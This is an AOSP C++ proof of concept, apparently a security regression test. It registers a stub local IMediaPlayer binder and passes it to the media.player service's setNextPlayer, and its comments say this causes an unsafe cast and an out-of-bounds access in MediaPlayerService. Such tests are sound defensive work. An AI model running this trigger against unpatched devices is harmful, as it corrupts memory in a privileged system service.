1 /**
2  * Copyright (C) 2019 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <binder/IServiceManager.h>
18 #include <media/IMediaHTTPService.h>
19 #include <media/IMediaPlayer.h>
20 #include <media/IMediaPlayerService.h>
21 #include <media/VolumeShaper.h>
22 #include <media/mediaplayer.h>
23 
24 using namespace android;
25 using namespace android::media;
26 
27 class MyMediaPlayer : public BnInterface<IMediaPlayer> {
28  public:
onTransact(uint32_t code,const Parcel & data,Parcel * reply,uint32_t flags=0)29   status_t onTransact(uint32_t code, const Parcel &data, Parcel *reply,
30                       uint32_t flags = 0) {
31     return OK;
32   }
disconnect()33   void disconnect() {}
34 
setDataSource(const sp<IMediaHTTPService> & httpService,const char * url,const KeyedVector<String8,String8> * headers)35   status_t setDataSource(const sp<IMediaHTTPService> &httpService,
36                          const char *url,
37                          const KeyedVector<String8, String8> *headers) {
38     return OK;
39   }
40 
setDataSource(int fd,int64_t offset,int64_t length)41   status_t setDataSource(int fd, int64_t offset, int64_t length) { return OK; }
42 
setDataSource(const sp<IStreamSource> & source)43   status_t setDataSource(const sp<IStreamSource> &source) { return OK; }
44 
setDataSource(const sp<IDataSource> & source)45   status_t setDataSource(const sp<IDataSource> &source) { return OK; }
46 
setDataSource(const String8 & rtpParams)47   status_t setDataSource(const String8& rtpParams) { return OK; }
48 
setVideoSurfaceTexture(const sp<IGraphicBufferProducer> & bufferProducer)49   status_t setVideoSurfaceTexture(
50       const sp<IGraphicBufferProducer> &bufferProducer) {
51     return OK;
52   }
53 
getBufferingSettings(BufferingSettings * buffering)54   status_t getBufferingSettings(BufferingSettings *buffering) {
55     return OK;
56   }
57 
setBufferingSettings(const BufferingSettings & buffering)58   status_t setBufferingSettings(const BufferingSettings &buffering) {
59     return OK;
60   }
61 
prepareAsync()62   status_t prepareAsync() { return OK; }
63 
start()64   status_t start() { return OK; }
65 
stop()66   status_t stop() { return OK; }
67 
pause()68   status_t pause() { return OK; }
69 
isPlaying(bool * state)70   status_t isPlaying(bool *state) { return OK; }
71 
setPlaybackSettings(const AudioPlaybackRate & rate)72   status_t setPlaybackSettings(const AudioPlaybackRate &rate) { return OK; }
73 
getPlaybackSettings(AudioPlaybackRate * rate)74   status_t getPlaybackSettings(AudioPlaybackRate *rate) { return OK; }
75 
setSyncSettings(const AVSyncSettings & sync,float videoFpsHint)76   status_t setSyncSettings(const AVSyncSettings &sync, float videoFpsHint) {
77     return OK;
78   }
79 
getSyncSettings(AVSyncSettings * sync,float * videoFps)80   status_t getSyncSettings(AVSyncSettings *sync, float *videoFps) { return OK; }
81 
seekTo(int msec,MediaPlayerSeekMode mode)82   status_t seekTo(int msec, MediaPlayerSeekMode mode) { return OK; }
83 
getCurrentPosition(int * msec)84   status_t getCurrentPosition(int *msec) { return OK; }
85 
getDuration(int * msec)86   status_t getDuration(int *msec) { return OK; }
87 
notifyAt(int64_t mediaTimeUs)88   status_t notifyAt(int64_t mediaTimeUs) { return OK; }
89 
reset()90   status_t reset() { return OK; }
91 
setAudioStreamType(audio_stream_type_t stream)92   status_t setAudioStreamType(audio_stream_type_t stream) { return OK; }
93 
setLooping(int loop)94   status_t setLooping(int loop) { return OK; }
95 
setVolume(float leftVolume,float rightVolume)96   status_t setVolume(float leftVolume, float rightVolume) { return OK; }
97 
setAuxEffectSendLevel(float level)98   status_t setAuxEffectSendLevel(float level) { return OK; }
99 
attachAuxEffect(int effectId)100   status_t attachAuxEffect(int effectId) { return OK; }
101 
setParameter(int key,const Parcel & request)102   status_t setParameter(int key, const Parcel &request) { return OK; }
103 
getParameter(int key,Parcel * reply)104   status_t getParameter(int key, Parcel *reply) { return OK; }
105 
setRetransmitEndpoint(const struct sockaddr_in * endpoint)106   status_t setRetransmitEndpoint(const struct sockaddr_in *endpoint) {
107     return OK;
108   }
109 
getRetransmitEndpoint(struct sockaddr_in * endpoint)110   status_t getRetransmitEndpoint(struct sockaddr_in *endpoint) { return OK; }
111 
setNextPlayer(const sp<IMediaPlayer> & player)112   status_t setNextPlayer(const sp<IMediaPlayer> &player) { return OK; }
113 
applyVolumeShaper(const sp<VolumeShaper::Configuration> & configuration,const sp<VolumeShaper::Operation> & operation)114   VolumeShaper::Status applyVolumeShaper(
115       const sp<VolumeShaper::Configuration> &configuration,
116       const sp<VolumeShaper::Operation> &operation) {
117     return (VolumeShaper::Status)OK;
118   }
getVolumeShaperState(int id)119   sp<VolumeShaper::State> getVolumeShaperState(int id) { return NULL; }
120 
prepareDrm(const uint8_t uuid[16],const Vector<uint8_t> & drmSessionId)121   status_t prepareDrm(const uint8_t uuid[16],
122                       const Vector<uint8_t> &drmSessionId) {
123     return OK;
124   }
125 
releaseDrm()126   status_t releaseDrm() { return OK; }
127 
invoke(const Parcel & request,Parcel * reply)128   status_t invoke(const Parcel &request, Parcel *reply) { return OK; }
129 
setMetadataFilter(const Parcel & request)130   status_t setMetadataFilter(const Parcel &request) { return OK; }
131 
getMetadata(bool update_only,bool apply_filter,Parcel * reply)132   status_t getMetadata(bool update_only, bool apply_filter, Parcel *reply) {
133     return OK;
134   }
135 
setOutputDevice(audio_port_handle_t deviceId)136   status_t setOutputDevice(audio_port_handle_t deviceId) { return OK; }
137 
getRoutedDeviceId(audio_port_handle_t * deviceId)138   status_t getRoutedDeviceId(audio_port_handle_t *deviceId) { return OK; }
139 
enableAudioDeviceCallback(bool enabled)140   status_t enableAudioDeviceCallback(bool enabled) { return OK; }
141 };
142 
main()143 int main() {
144   sp<IBinder> binder =
145       defaultServiceManager()->getService(String16("media.player"));
146   sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
147   sp<IMediaPlayer> player = service->create(
148       new MediaPlayer(), (audio_session_t)AUDIO_SESSION_ALLOCATE);
149 
150   if (player == NULL) {
151     return EXIT_FAILURE;
152   }
153 
154   sp<IMediaPlayer> localPlayer = new MyMediaPlayer();
155   if (localPlayer == NULL) {
156     return EXIT_FAILURE;
157   }
158 
159   // set the data source to initialize mPlayer
160   player->setDataSource(NULL, "file:///test", NULL);
161 
162   // Set the next player to a local instance of BnMediaPlayer.
163   // The remote side will construct a BpMediaPlayer object, and then
164   // unsafely cast it to a MediaPlayerService::Client.
165   // This will an out-of-bounds access on class members.
166   player->setNextPlayer(localPlayer);
167 
168   return EXIT_SUCCESS;
169 }
170